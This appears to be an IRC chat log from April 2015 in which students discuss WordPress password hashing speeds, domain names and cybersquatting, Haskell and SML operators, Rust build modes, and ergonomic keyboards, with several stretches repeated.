[2015-04-10T19:20:13-0400] <LittleBobbyTables> Did you read the story about the kid that got charged with cyber crime for logging into his teachers computer
[2015-04-10T19:20:16-0400] <LittleBobbyTables> Changing the wallpaper
[2015-04-10T19:20:18-0400] <LittleBobbyTables> Then logging out
[2015-04-10T19:20:24-0400] <LittleBobbyTables> Based on a password of the teachers last name
[2015-04-10T19:20:28-0400] <LittleBobbyTables> That the teacher showed the student?
[2015-04-10T19:29:44-0400] <z3t> I saw that LittleBobbyTables: http://arstechnica.com/security/2015/04/eighth-grader-charged-with-felony-for-shoulder-surfing-teachers-password/
[2015-04-10T19:30:30-0400] <sdamashek> lol impressive
[2015-04-10T19:31:16-0400] <sdamashek> school districts are pretty anal about teacher passwords
[2015-04-10T19:31:36-0400] <jwoglom> yeah
[2015-04-10T19:31:39-0400] <jwoglom> for good reason though, honestly
[2015-04-10T19:32:04-0400] <sdamashek> yeah
[2015-04-10T19:40:01-0400] <LittleBobbyTables> guys
[2015-04-10T19:40:07-0400] <LittleBobbyTables> why are wordpress logins so incredibly slow to crack
[2015-04-10T19:41:18-0400] <LittleBobbyTables> 8GH/s for md5
[2015-04-10T19:41:30-0400] <LittleBobbyTables> 400 KH/s for wordpress
[2015-04-10T19:43:00-0400] <fwilson> lol
[2015-04-10T19:44:22-0400] <fwilson> that's the teacher's problem though
[2015-04-10T19:44:25-0400] <fwilson> weak passwords
[2015-04-10T19:44:30-0400] <fwilson> and the district's problem
[2015-04-10T19:44:33-0400] <fwilson> for allowing weak passwords
[2015-04-10T19:50:19-0400] <z3t> wordpress passwords :(
[2015-04-10T19:51:48-0400] <LittleBobbyTables> they're like
[2015-04-10T19:51:55-0400] <LittleBobbyTables> 3 iterations of md5
[2015-04-10T19:52:00-0400] <LittleBobbyTables> with a salt each time
[2015-04-10T19:52:05-0400] <LittleBobbyTables> and extra stuff
[2015-04-10T19:53:57-0400] <fwilson> ayy lmao
[2015-04-10T20:05:04-0400] <sdamashek> they're md5?
[2015-04-10T20:09:17-0400] <jwoglom> "wp_hash_password: Creates a hash of a plain text password. Unless the global $wp_hasher is set, the default implementation uses PasswordHash, which adds salt to the password and hashes it with 8 passes of MD5. MD5 is used by default because it's supported on all platforms. You can configure PasswordHash to use Blowfish or extended DES (if available) instead of MD5 with the $portable_hashes
[2015-04-10T20:09:19-0400] <jwoglom> constructor argument or property (see examples)."
[2015-04-10T20:09:53-0400] <sdamashek> guys it's more secure because 8MD5
[2015-04-10T20:09:57-0400] <fwilson> doesn't 8 passes of md5 -> 8 times the collision chance
[2015-04-10T20:10:20-0400] <sdamashek> possibly
[2015-04-10T20:10:29-0400] <sdamashek> you don't know the intermediate steps though
[2015-04-10T20:10:37-0400] <sdamashek> if you did, then you could just collide the first round
[2015-04-10T20:11:35-0400] <jwoglom> i mean, i guess i understand their defaulting to md5 because it's supported everywhere
[2015-04-10T20:11:54-0400] <jwoglom> but wouldn't it make more sense to try and see if the better security functions are available during setup, and automatically use those?
[2015-04-10T20:12:04-0400] <jwoglom> with md5 as the ultimate fallback?
[2015-04-10T20:13:07-0400] <sdamashek> I would think so
[2015-04-10T20:13:22-0400] <sdamashek> they might be thinking of migration though, as it's impossible to migrate hashes
[2015-04-10T20:13:49-0400] <sdamashek> (like if you're moving a wordpress install from a server which has sha256 to one without)
[2015-04-10T20:13:51-0400] <sdamashek> idk though
[2015-04-10T20:14:03-0400] <jwoglom> true
[2015-04-10T20:14:22-0400] <fwilson> >a server without sha256
[2015-04-10T20:14:24-0400] <fwilson> that server is dumb
[2015-04-10T20:14:27-0400] <fwilson> and probably has the wrong php version
[2015-04-10T20:16:10-0400] <jwoglom> yeah, but those types of servers are often the ones people want to use wordpress on
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[2015-04-10T20:18:21-0400] <fwilson> but that's dumb
[2015-04-10T20:18:45-0400] <jwoglom> wordpress has to work anywhere
[2015-04-10T20:18:48-0400] <jwoglom> especially on dumb servers
[2015-04-10T20:24:11-0400] <fwilson> that's dumb
[2015-04-10T20:24:25-0400] <jwoglom> wordpress is dumb, too
[2015-04-10T20:24:36-0400] <jwoglom> i guess logically then it must work on dumb servers
[2015-04-10T20:25:27-0400] <LittleBobbyTables> It has to work for dumb users*
[2015-04-10T20:33:14-0400] <fwilson> *it has to be dumb enough
[2015-04-10T20:59:42-0400] <LittleBobbyTables> http://imgur.com/a/dRlR3
[2015-04-10T21:29:18-0400] <z3t> why is every domain name I think of taken and for sale at around $2k -_-
[2015-04-10T21:29:35-0400] <jwoglom> z3t: what types of names?
[2015-04-10T21:29:37-0400] <fwilson> lol
[2015-04-10T21:29:47-0400] <jwoglom> i mean, a lot of domains aren't available, y'know :P
[2015-04-10T21:29:51-0400] <z3t> like mixed words
[2015-04-10T21:30:13-0400] <z3t> it's always like just the .com unavailable too
[2015-04-10T22:05:23-0400] <grantwu> Iterated hashing does increase collision probability, but not by much
[2015-04-10T22:05:46-0400] <grantwu> And you need the increased difficulty or else cracking is easy
[2015-04-10T22:07:14-0400] <grantwu> also you can get around the problem with less naive iterated haahing methods
[2015-04-10T22:09:43-0400] <LittleBobbyTables> .io is so much better
[2015-04-10T22:13:43-0400] <LittleBobbyTables> 33 dollars a year
[2015-04-10T22:13:46-0400] <LittleBobbyTables> for littlebobbytables.io
[2015-04-10T22:15:03-0400] <LittleBobbyTables> jacob.mobi is available
[2015-04-10T22:23:05-0400] <nickolas360> ew .mobi
[2015-04-10T22:23:09-0400] <nickolas360> almost as bad as .biz
[2015-04-10T22:29:35-0400] <LittleBobbyTables> I bought one of the streamers I watch url
[2015-04-10T22:29:46-0400] <LittleBobbyTables> wagamamatv is his twitch. Bought wagamama.tv
[2015-04-10T22:29:54-0400] <LittleBobbyTables> Selling him the rights to use it Kappa
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[2015-04-10T22:41:49-0400] <z3t> Erm isn't that domain squatting 
[2015-04-10T22:45:32-0400] <LittleBobbyTables> no....
[2015-04-10T22:46:13-0400] <nickthename> it's just being a dick lol
[2015-04-10T22:46:53-0400] <LittleBobbyTables> He's cool with it anyway
[2015-04-10T22:47:03-0400] <LittleBobbyTables> I told him before I bought it on Skype
[2015-04-10T22:47:11-0400] <LittleBobbyTables> someone else in the group was like "put dicks all over it now"
[2015-04-10T23:01:01-0400] <LittleBobbyTables> Now I need to actually do something with this site
[2015-04-10T23:04:12-0400] <z3t> Almost sure that's considered domain squatting...
[2015-04-10T23:10:31-0400] <+awe> Domain squatting isn't illegal.
[2015-04-10T23:21:56-0400] <nickolas360> awe: It is in the United States. http://en.wikipedia.org/wiki/Cybersquatting
[2015-04-10T23:23:31-0400] <+awe> nickolas360: requires demonstration of bad faith.
[2015-04-10T23:24:46-0400] <+awe> nickolas360: but that is interesting.
[2015-04-10T23:25:31-0400] <nickolas360> If it's not in bad faith, I wouldn't consider it domain squatting.
[2015-04-10T23:26:04-0400] <+awe> Neither would the law. :)
[2015-04-10T23:26:14-0400] <+awe> But if LittleBobbyTables told him he was buying it, it's hardly bad faith.
[2015-04-10T23:31:29-0400] <z3t> I want to say something...but I don't want another long-ass debate[A
[2015-04-10T23:31:39-0400] <+awe> I'm not in the mood to debate. So, feel free.
[2015-04-10T23:31:47-0400] <z3t> I highly doubt that.
[2015-04-10T23:32:18-0400] <+awe> Seriously, I'm not going to argue much now.
[2015-04-10T23:32:24-0400] <+awe> I'm trying to relax.
[2015-04-10T23:45:58-0400] <LittleBobbyTables> Say it z3t
[2015-04-11T00:04:10-0400] <LittleBobbyTables> http://gyazo.com/3ec3e448d8cabc04f42c59f7921f9b23
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[2015-04-11T13:46:37-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-10T23:21:56-0400] <nickolas360> awe: It is in the United States. http://en.wikipedia.org/wiki/Cybersquatting
[2015-04-10T23:23:31-0400] <+awe> nickolas360: requires demonstration of bad faith.
[2015-04-10T23:24:46-0400] <+awe> nickolas360: but that is interesting.
[2015-04-10T23:25:31-0400] <nickolas360> If it's not in bad faith, I wouldn't consider it domain squatting.
[2015-04-10T23:26:04-0400] <+awe> Neither would the law. :)
[2015-04-10T23:26:14-0400] <+awe> But if LittleBobbyTables told him he was buying it, it's hardly bad faith.
[2015-04-10T23:31:29-0400] <z3t> I want to say something...but I don't want another long-ass debate[A
[2015-04-10T23:31:39-0400] <+awe> I'm not in the mood to debate. So, feel free.
[2015-04-10T23:31:47-0400] <z3t> I highly doubt that.
[2015-04-10T23:32:18-0400] <+awe> Seriously, I'm not going to argue much now.
[2015-04-10T23:32:24-0400] <+awe> I'm trying to relax.
[2015-04-10T23:45:58-0400] <LittleBobbyTables> Say it z3t
[2015-04-11T00:04:10-0400] <LittleBobbyTables> http://gyazo.com/3ec3e448d8cabc04f42c59f7921f9b23
[2015-04-11T01:48:08-0400] <LittleBobbyTables> Why can't I make a site on DO
[2015-04-11T01:49:57-0400] <LittleBobbyTables> I just want a basic site with literally one iframe
[2015-04-11T06:06:43-0400] <Tamini_> alokpathy
[2015-04-11T06:06:44-0400] <Tamini_> OMG
[2015-04-11T06:06:50-0400] <Tamini_> ANIMESH IS GOING TO UVA
[2015-04-11T06:07:57-0400] <Tamini_> DUDE
[2015-04-11T06:07:58-0400] <Tamini_> LOL
[2015-04-11T06:09:13-0400] <Tamini_> you have to meet him
[2015-04-11T07:58:29-0400] <fwilson> OOH
[2015-04-11T07:58:32-0400] <fwilson> vector graphics on pebble
[2015-04-11T08:00:25-0400] <fwilson> ayyl.mobi
[2015-04-11T08:32:11-0400] <Tamini_> omg
[2015-04-11T11:14:55-0400] <apothy> Anybody have good jokes or pickup lines? 
[2015-04-11T11:17:42-0400] <Tamini_> LOL
[2015-04-11T11:17:49-0400] <Tamini_> cheater >:o
[2015-04-11T11:17:53-0400] <Tamini_> we used abelian grapes
[2015-04-11T11:19:51-0400] <nickthename> apothy: why do you ask?
[2015-04-11T11:24:37-0400] <apothy> nickthename: no reason :P
[2015-04-11T11:24:57-0400] <apothy> Tamini_: dude I think we pissed then off with so many pickup lines LOL
[2015-04-11T11:25:10-0400] <Tamini_> LOL
[2015-04-11T11:31:02-0400] <LittleBobbyTables> apothy: why does a milking stool have 3 legs
[2015-04-11T11:31:07-0400] <Tamini_> alokpathy: pls save me seat
[2015-04-11T11:31:09-0400] <Tamini_> thanks
[2015-04-11T11:34:20-0400] <Tamini_> oh nvm i might not be able to make it
[2015-04-11T11:44:01-0400] <apothy> LittleBobbyTables: why?
[2015-04-11T11:44:08-0400] <apothy> Tamini_: ?
[2015-04-11T11:46:41-0400] <LittleBobbyTables> apothy: cause the cow has the udder.
[2015-04-11T11:48:02-0400] <LittleBobbyTables> git it
[2015-04-11T11:59:24-0400] <apothy> Lel
[2015-04-11T11:59:33-0400] <apothy> Yap
[2015-04-11T12:31:49-0400] <LittleBobbyTables> are you going to tell it
[2015-04-11T12:36:45-0400] <sdamashek> fwilson: register it
[2015-04-11T12:36:48-0400] <sdamashek> :P
[2015-04-11T12:36:55-0400] <sdamashek> LittleBobbyTables: that's not bad
[2015-04-11T12:38:46-0400] <LittleBobbyTables> watching hackers for the first time
[2015-04-11T12:40:08-0400] <LittleBobbyTables> >8 year old makes a virus that crashes wall street
[2015-04-11T12:40:10-0400] <LittleBobbyTables> seems legit
[2015-04-11T13:46:38-0400] Mode is +nt
[2015-04-11T13:58:30-0400] <grantwu> awe: Aye, I'm back.
[2015-04-11T14:08:30-0400] <+awe> Hey, grantwu!
[2015-04-11T14:08:53-0400] <grantwu>  Merp
[2015-04-11T14:09:15-0400] <grantwu> Idk what classes to take next semester ._.
[2015-04-11T14:09:28-0400] <+awe> Do you have any ideas?
[2015-04-11T14:09:36-0400] <grantwu> I'm just short on electives, honestly.
[2015-04-11T14:09:44-0400] <grantwu> Also, did Alok tell you the things I told him to tell you? :P
[2015-04-11T14:09:46-0400] <+awe> Ah, okay.
[2015-04-11T14:09:48-0400] <+awe> No, he didn't.
[2015-04-11T14:10:07-0400] <grantwu> I can get $ syntax from Haskell in SML! :D
[2015-04-11T14:10:17-0400] <grantwu> fun $ (a, b) = a b;
[2015-04-11T14:10:21-0400] <grantwu> er, no semicolon
[2015-04-11T14:10:21-0400] <+awe> So, you can get right-associative function application?
[2015-04-11T14:10:26-0400] <grantwu> Yeah, basically
[2015-04-11T14:10:31-0400] <grantwu> infixr $
[2015-04-11T14:10:33-0400] <+awe> Cool!
[2015-04-11T14:10:45-0400] <+awe> It's really nice in removing parentheses.
[2015-04-11T14:10:55-0400] <grantwu> Apparently $ is defined similarly in Haskell's Prelude?
[2015-04-11T14:10:58-0400] <+awe> As is function-composition.
[2015-04-11T14:11:00-0400] <+awe> Yeah, it is.
[2015-04-11T14:11:06-0400] <grantwu> Like, it's not actually part of the language spec
[2015-04-11T14:11:18-0400] <grantwu> function composition already exists as o, I had just forgotten about it :C
[2015-04-11T14:11:25-0400] <+awe> ($)                     :: (a -> b) -> a -> b
[2015-04-11T14:11:25-0400] <+awe> f $ x                   =  f x
[2015-04-11T14:12:29-0400] <grantwu> Yeah, with SML you need explicit fixity declarations
[2015-04-11T14:12:51-0400] <+awe> You do here, too.
[2015-04-11T14:12:53-0400] <+awe> infixr 0  $, $!
[2015-04-11T14:12:58-0400] <grantwu> oh
[2015-04-11T14:13:06-0400] <+awe> It's a low priority right-associative operator.
[2015-04-11T14:13:16-0400] <+awe> That's why it lets you omit parentheses.
[2015-04-11T14:13:28-0400] <grantwu> Well I meant like, you can't just `f` things
[2015-04-11T14:14:15-0400] <+awe> Ah, there's a default implied fixity.
[2015-04-11T14:14:22-0400] <+awe> Though, I'm not sure what it _is_ honestly.
[2015-04-11T14:14:57-0400] <grantwu> Also the link from HN I posted was mostly CMU people :P That's why I mentioned it
[2015-04-11T14:15:09-0400] <grantwu> Ack my roommate is playing loud music again
[2015-04-11T14:15:15-0400] <+awe> Ah, okay. That explains why it wasn't the typical drivel that they post about Rust.
[2015-04-11T14:15:36-0400] <+awe> I was confused when they were suddenly talking about linear and affine types instead of complaining about how Rust is slow in debug mode or something.
[2015-04-11T14:15:42-0400] <grantwu> bahahaa
[2015-04-11T14:16:07-0400] <grantwu> (Rust has a debug mode?)
[2015-04-11T14:16:25-0400] <+awe> Yeah, when you just do `cargo build`, it compiles with debugging symbols and without optimizations.
[2015-04-11T14:16:27-0400] <grantwu> Isn't this just like -DDEBUG with gcc?
[2015-04-11T14:16:31-0400] <+awe> It makes a _huge_ runtime difference.
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[2015-04-11T14:16:38-0400] <grantwu> How is this any different than -DDEBUG -O0 ?
[2015-04-11T14:16:47-0400] <grantwu> doh!
[2015-04-11T14:16:52-0400] <+awe> Because they add bound checking and stuff.
[2015-04-11T14:17:04-0400] <grantwu> Oh, alright then.
[2015-04-11T14:17:12-0400] <+awe> They have a lot of additional runtime checks and the like to make things easier to debug.
[2015-04-11T14:17:18-0400] <grantwu> so that + AddressSanitizer
[2015-04-11T14:17:28-0400] <+awe> So, it's much, much slower.
[2015-04-11T14:17:35-0400] <grantwu> Yah.
[2015-04-11T14:17:36-0400] <+awe> And then people do these silly benchmarks and conclude "Rust is slow!"
[2015-04-11T14:17:49-0400] <+awe> And then if you compile it in release mode, it's suddenly just as fast as that C program you wrote.
[2015-04-11T14:18:27-0400] <grantwu> derp
[2015-04-11T14:18:35-0400] <Fill> hah
[2015-04-11T14:18:39-0400] <Fill> makes me think about this: http://stackoverflow.com/questions/29343607/why-does-sorting-take-so-long
[2015-04-11T14:18:48-0400] <grantwu> :C ICC is too stronk
[2015-04-11T14:19:03-0400] <LittleBobbyTables> ICC profiles make my monitor look good
[2015-04-11T14:19:13-0400] <grantwu> Wrong ICC.
[2015-04-11T14:19:51-0400] <grantwu> Yeah so with regards to courses, I *could* take a physics lab, but I've done that in high school... but I'd rather take the course about usability testing/user research that counts towards a lab requirement.
[2015-04-11T14:20:14-0400] <grantwu> Professor for that is really bad at answering emails though >.<
[2015-04-11T14:20:50-0400] <grantwu> I *could* take computational discrete math, but that class is balls hard and I don't know anything about algebraic structures :C
[2015-04-11T14:30:05-0400] <grantwu> Do I really want to take Constructive Logic :C
[2015-04-11T14:30:51-0400] <grantwu> I could take an AI class but nobody knows anything about the professors it seems
[2015-04-11T14:37:05-0400] <+awe> Fill: yeah, there's so many examples of this.
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[2015-04-11T14:15:15-0400] <+awe> Ah, okay. That explains why it wasn't the typical drivel that they post about Rust.
[2015-04-11T14:15:36-0400] <+awe> I was confused when they were suddenly talking about linear and affine types instead of complaining about how Rust is slow in debug mode or something.
[2015-04-11T14:15:42-0400] <grantwu> bahahaa
[2015-04-11T14:16:07-0400] <grantwu> (Rust has a debug mode?)
[2015-04-11T14:16:25-0400] <+awe> Yeah, when you just do `cargo build`, it compiles with debugging symbols and without optimizations.
[2015-04-11T14:16:27-0400] <grantwu> Isn't this just like -DDEBUG with gcc?
[2015-04-11T14:16:31-0400] <+awe> It makes a _huge_ runtime difference.
[2015-04-11T14:16:38-0400] <grantwu> How is this any different than -DDEBUG -O0 ?
[2015-04-11T14:16:47-0400] <grantwu> doh!
[2015-04-11T14:16:52-0400] <+awe> Because they add bound checking and stuff.
[2015-04-11T14:17:04-0400] <grantwu> Oh, alright then.
[2015-04-11T14:17:12-0400] <+awe> They have a lot of additional runtime checks and the like to make things easier to debug.
[2015-04-11T14:17:18-0400] <grantwu> so that + AddressSanitizer
[2015-04-11T14:17:28-0400] <+awe> So, it's much, much slower.
[2015-04-11T14:17:35-0400] <grantwu> Yah.
[2015-04-11T14:17:36-0400] <+awe> And then people do these silly benchmarks and conclude "Rust is slow!"
[2015-04-11T14:17:49-0400] <+awe> And then if you compile it in release mode, it's suddenly just as fast as that C program you wrote.
[2015-04-11T14:18:27-0400] <grantwu> derp
[2015-04-11T14:18:35-0400] <Fill> hah
[2015-04-11T14:18:39-0400] <Fill> makes me think about this: http://stackoverflow.com/questions/29343607/why-does-sorting-take-so-long
[2015-04-11T14:18:48-0400] <grantwu> :C ICC is too stronk
[2015-04-11T14:19:03-0400] <LittleBobbyTables> ICC profiles make my monitor look good
[2015-04-11T14:19:13-0400] <grantwu> Wrong ICC.
[2015-04-11T14:19:51-0400] <grantwu> Yeah so with regards to courses, I *could* take a physics lab, but I've done that in high school... but I'd rather take the course about usability testing/user research that counts towards a lab requirement.
[2015-04-11T14:20:14-0400] <grantwu> Professor for that is really bad at answering emails though >.<
[2015-04-11T14:20:50-0400] <grantwu> I *could* take computational discrete math, but that class is balls hard and I don't know anything about algebraic structures :C
[2015-04-11T14:30:05-0400] <grantwu> Do I really want to take Constructive Logic :C
[2015-04-11T14:30:51-0400] <grantwu> I could take an AI class but nobody knows anything about the professors it seems
[2015-04-11T14:37:05-0400] <+awe> Fill: yeah, there's so many examples of this.
[2015-04-11T14:37:15-0400] <Fill> yep
[2015-04-11T14:37:56-0400] <grantwu> Oops, that wasn't the right SO question.
[2015-04-11T14:38:14-0400] <grantwu> I thought it was the question where ICC managed to optimize out the testing loop
[2015-04-11T14:38:38-0400] <grantwu> Causing it to beat GCC/Visual Studio by several orders of magnitude
[2015-04-11T14:47:16-0400] <sdamashek> look at us nerds http://i.imgur.com/7ut8ifx.jpg
[2015-04-11T14:47:43-0400] <grantwu> :O fooood
[2015-04-11T14:48:05-0400] <sdamashek> delicious food
[2015-04-11T14:48:11-0400] <jwoglom> lol cool
[2015-04-11T15:06:25-0400] <LittleBobbyTables> sdamashek: nerds
[2015-04-11T15:09:37-0400] <sdamashek> :P
[2015-04-11T15:11:42-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=AI6vn0HHTmU
[2015-04-11T15:12:56-0400] <LittleBobbyTables> "iamverysmrt"
[2015-04-11T15:14:49-0400] <z3t> http://www.dailymail.co.uk/news/article-2365503/Matthew-Weaver-College-student-22-jailed-rigging-school-election-elect-president.html
[2015-04-11T15:15:28-0400] <LittleBobbyTables> lmao
[2015-04-11T15:15:30-0400] <LittleBobbyTables> that title
[2015-04-11T15:16:28-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=9S2IvczRb6A
[2015-04-11T15:17:16-0400] <LittleBobbyTables> "jail time for keylogger"
[2015-04-11T15:17:24-0400] <LittleBobbyTables> Depends, 6 months is minimum
[2015-04-11T15:22:51-0400] <LittleBobbyTables> http://www.liveleak.com/view?i=b8d_1413049025&amp%3B
[2015-04-11T15:23:05-0400] <LittleBobbyTables> "Officer, am I driving this car?" "Yes you are" "No I'm not sir, I am travelling"
[2015-04-11T15:35:41-0400] <sdamashek> god I hate libtards like that
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[2015-04-11T15:37:36-0400] <sdamashek> "is speeding a crime?"
[2015-04-11T15:37:46-0400] <sdamashek> "can you prove I'm driving a car"
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[2015-04-11T20:35:40-0400] <nickthename> I can't either
[2015-04-11T20:35:55-0400] <nezorg> it's a really nice keyboard though
[2015-04-11T20:35:58-0400] <nezorg> ergonomic
[2015-04-11T20:36:01-0400] <nezorg> cherry mx clears
[2015-04-11T20:36:06-0400] <nezorg> fully programmable
[2015-04-11T20:36:10-0400] <nezorg> open source
[2015-04-11T20:36:15-0400] <nickthename> >open source
[2015-04-11T20:36:18-0400] <nickthename> >keyboard
[2015-04-11T20:36:23-0400] <nickthename> >$260
[2015-04-11T20:36:30-0400] <nickthename> wtf dude
[2015-04-11T20:36:33-0400] <nezorg> :D
[2015-04-11T20:36:44-0400] <jwoglom> nezorg: what keyboard?
[2015-04-11T20:36:54-0400] <nezorg> infinity ergodox
[2015-04-11T20:38:34-0400] <jwoglom> damn that looks pretty nice
[2015-04-11T20:38:38-0400] <jwoglom> dat pricetag tho..
[2015-04-11T20:38:47-0400] <nezorg> yeah :'(
[2015-04-11T20:41:03-0400] <nezorg> also whenever someone sees that you have that keyboard they'll go "uh oh this guy's crazy/a neckbeard"
[2015-04-11T20:43:00-0400] <jwoglom> i think it'd be more "that guy's a badass"
[2015-04-11T20:43:06-0400] <jwoglom> but that's just me
[2015-04-11T20:44:04-0400] <nickthename> nezorg: it's $60 less if you assemble it yourself
[2015-04-11T20:46:45-0400] <nezorg> nickthename: uh, this one is only available as a kit
[2015-04-11T20:47:14-0400] <nezorg> if you're referring to the $200 price massdrop advertises, that doesn't include keycaps / the extra price of clears
[2015-04-11T20:52:22-0400] <LittleBobbyTables>  clears are so weird...
[2015-04-11T20:58:05-0400] <nickthename> oh, it doesn't include keycaps? strange
[2015-04-11T20:58:11-0400] <nickthename> I don't understand these weird keyboards
[2015-04-11T20:58:19-0400] <nickthename> my keyboard is a sun keyboard I got for free
[2015-04-11T21:05:33-0400] <LittleBobbyTables> >woman has a baby on her during a rocket concert
[2015-04-11T21:05:34-0400] <LittleBobbyTables> >gets asked to reseat or get refunded because the guards are concerned for the baby
[2015-04-11T21:05:34-0400] <LittleBobbyTables> >woman bitches in the "this isnt a law you cant do this"
[2015-04-11T21:08:10-0400] <LittleBobbyTables> "no I don't have a california ID I'm military"
[2015-04-11T21:08:10-0400] <LittleBobbyTables> "what branch are you in?"
[2015-04-11T21:08:10-0400] <LittleBobbyTables> "my husbands in the navy"
[2015-04-11T21:08:12-0400] <sdamashek> where do these rocket concerts happen? I wanna go to one
[2015-04-11T21:08:27-0400] <LittleBobbyTables> anywhere in the desert, really
[2015-04-11T21:08:36-0400] <LittleBobbyTables> they just need enough room to launch them
[2015-04-11T21:08:58-0400] <sdamashek> can I get a ticket?
[2015-04-11T21:09:56-0400] <LittleBobbyTables> Sure, just give me the money and I'll give you a ticker
[2015-04-11T21:09:58-0400] <LittleBobbyTables> ticket*
[2015-04-11T21:42:30-0400] <sdamashek> Tamini_: I finished community season 1
[2015-04-11T21:42:50-0400] <sdamashek> dat cliffhanger tho
[2015-04-11T22:09:18-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=ULInZswhvgY
[2015-04-11T22:23:03-0400] <LittleBobbyTables> sup baddie
[2015-04-11T22:57:36-0400] <failedxyz> hei
[2015-04-11T23:01:33-0400] <LittleBobbyTables> how u doin'
[2015-04-11T23:28:07-0400] <z3t> .ninja $2.88 on namecheap rn
[2015-04-11T23:36:17-0400] <LittleBobbyTables> Has been for like a monht
[2015-04-11T23:36:30-0400] <z3t> o
[2015-04-12T00:03:16-0400] <nezorg> i bought nezorg.ninja :P
[2015-04-12T00:15:28-0400] <LittleBobbyTables> How can I tell if I selected the option for nginx on a DO droplet?
[2015-04-12T00:15:35-0400] <LittleBobbyTables> I'm pretty sure I did, but I don't see nginx installed
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[2015-04-11T20:35:40-0400] <nickthename> I can't either
[2015-04-11T20:35:55-0400] <nezorg> it's a really nice keyboard though
[2015-04-11T20:35:58-0400] <nezorg> ergonomic
[2015-04-11T20:36:01-0400] <nezorg> cherry mx clears
[2015-04-11T20:36:06-0400] <nezorg> fully programmable
[2015-04-11T20:36:10-0400] <nezorg> open source
[2015-04-11T20:36:15-0400] <nickthename> >open source
[2015-04-11T20:36:18-0400] <nickthename> >keyboard
[2015-04-11T20:36:23-0400] <nickthename> >$260
[2015-04-11T20:36:30-0400] <nickthename> wtf dude
[2015-04-11T20:36:33-0400] <nezorg> :D
[2015-04-11T20:36:44-0400] <jwoglom> nezorg: what keyboard?
[2015-04-11T20:36:54-0400] <nezorg> infinity ergodox
[2015-04-11T20:38:34-0400] <jwoglom> damn that looks pretty nice
[2015-04-11T20:38:38-0400] <jwoglom> dat pricetag tho..
[2015-04-11T20:38:47-0400] <nezorg> yeah :'(
[2015-04-11T20:41:03-0400] <nezorg> also whenever someone sees that you have that keyboard they'll go "uh oh this guy's crazy/a neckbeard"
[2015-04-11T20:43:00-0400] <jwoglom> i think it'd be more "that guy's a badass"
[2015-04-11T20:43:06-0400] <jwoglom> but that's just me
[2015-04-11T20:44:04-0400] <nickthename> nezorg: it's $60 less if you assemble it yourself
[2015-04-11T20:46:45-0400] <nezorg> nickthename: uh, this one is only available as a kit
[2015-04-11T20:47:14-0400] <nezorg> if you're referring to the $200 price massdrop advertises, that doesn't include keycaps / the extra price of clears
[2015-04-11T20:52:22-0400] <LittleBobbyTables>  clears are so weird...
[2015-04-11T20:58:05-0400] <nickthename> oh, it doesn't include keycaps? strange
[2015-04-11T20:58:11-0400] <nickthename> I don't understand these weird keyboards
[2015-04-11T20:58:19-0400] <nickthename> my keyboard is a sun keyboard I got for free
[2015-04-11T21:05:33-0400] <LittleBobbyTables> >woman has a baby on her during a rocket concert
[2015-04-11T21:05:34-0400] <LittleBobbyTables> >gets asked to reseat or get refunded because the guards are concerned for the baby
[2015-04-11T21:05:34-0400] <LittleBobbyTables> >woman bitches in the "this isnt a law you cant do this"
[2015-04-11T21:08:10-0400] <LittleBobbyTables> "no I don't have a california ID I'm military"
[2015-04-11T21:08:10-0400] <LittleBobbyTables> "what branch are you in?"
[2015-04-11T21:08:10-0400] <LittleBobbyTables> "my husbands in the navy"
[2015-04-11T21:08:12-0400] <sdamashek> where do these rocket concerts happen? I wanna go to one
[2015-04-11T21:08:27-0400] <LittleBobbyTables> anywhere in the desert, really
[2015-04-11T21:08:36-0400] <LittleBobbyTables> they just need enough room to launch them
[2015-04-11T21:08:58-0400] <sdamashek> can I get a ticket?
[2015-04-11T21:09:56-0400] <LittleBobbyTables> Sure, just give me the money and I'll give you a ticker
[2015-04-11T21:09:58-0400] <LittleBobbyTables> ticket*
[2015-04-11T21:42:30-0400] <sdamashek> Tamini_: I finished community season 1
[2015-04-11T21:42:50-0400] <sdamashek> dat cliffhanger tho
[2015-04-11T22:09:18-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=ULInZswhvgY
[2015-04-11T22:23:03-0400] <LittleBobbyTables> sup baddie
[2015-04-11T22:57:36-0400] <failedxyz> hei
[2015-04-11T23:01:33-0400] <LittleBobbyTables> how u doin'
[2015-04-11T23:28:07-0400] <z3t> .ninja $2.88 on namecheap rn
[2015-04-11T23:36:17-0400] <LittleBobbyTables> Has been for like a monht
[2015-04-11T23:36:30-0400] <z3t> o
[2015-04-12T00:03:16-0400] <nezorg> i bought nezorg.ninja :P
[2015-04-12T00:15:28-0400] <LittleBobbyTables> How can I tell if I selected the option for nginx on a DO droplet?
[2015-04-12T00:15:35-0400] <LittleBobbyTables> I'm pretty sure I did, but I don't see nginx installed
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[2015-04-12T02:30:16-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-11T20:35:40-0400] <nickthename> I can't either
[2015-04-11T20:35:55-0400] <nezorg> it's a really nice keyboard though
[2015-04-11T20:35:58-0400] <nezorg> ergonomic
[2015-04-11T20:36:01-0400] <nezorg> cherry mx clears
[2015-04-11T20:36:06-0400] <nezorg> fully programmable
[2015-04-11T20:36:10-0400] <nezorg> open source
[2015-04-11T20:36:15-0400] <nickthename> >open source
[2015-04-11T20:36:18-0400] <nickthename> >keyboard
[2015-04-11T20:36:23-0400] <nickthename> >$260
[2015-04-11T20:36:30-0400] <nickthename> wtf dude
[2015-04-11T20:36:33-0400] <nezorg> :D
[2015-04-11T20:36:44-0400] <jwoglom> nezorg: what keyboard?
[2015-04-11T20:36:54-0400] <nezorg> infinity ergodox
[2015-04-11T20:38:34-0400] <jwoglom> damn that looks pretty nice
[2015-04-11T20:38:38-0400] <jwoglom> dat pricetag tho..
[2015-04-11T20:38:47-0400] <nezorg> yeah :'(
[2015-04-11T20:41:03-0400] <nezorg> also whenever someone sees that you have that keyboard they'll go "uh oh this guy's crazy/a neckbeard"
[2015-04-11T20:43:00-0400] <jwoglom> i think it'd be more "that guy's a badass"
[2015-04-11T20:43:06-0400] <jwoglom> but that's just me
[2015-04-11T20:44:04-0400] <nickthename> nezorg: it's $60 less if you assemble it yourself
[2015-04-11T20:46:45-0400] <nezorg> nickthename: uh, this one is only available as a kit
[2015-04-11T20:47:14-0400] <nezorg> if you're referring to the $200 price massdrop advertises, that doesn't include keycaps / the extra price of clears
[2015-04-11T20:52:22-0400] <LittleBobbyTables>  clears are so weird...
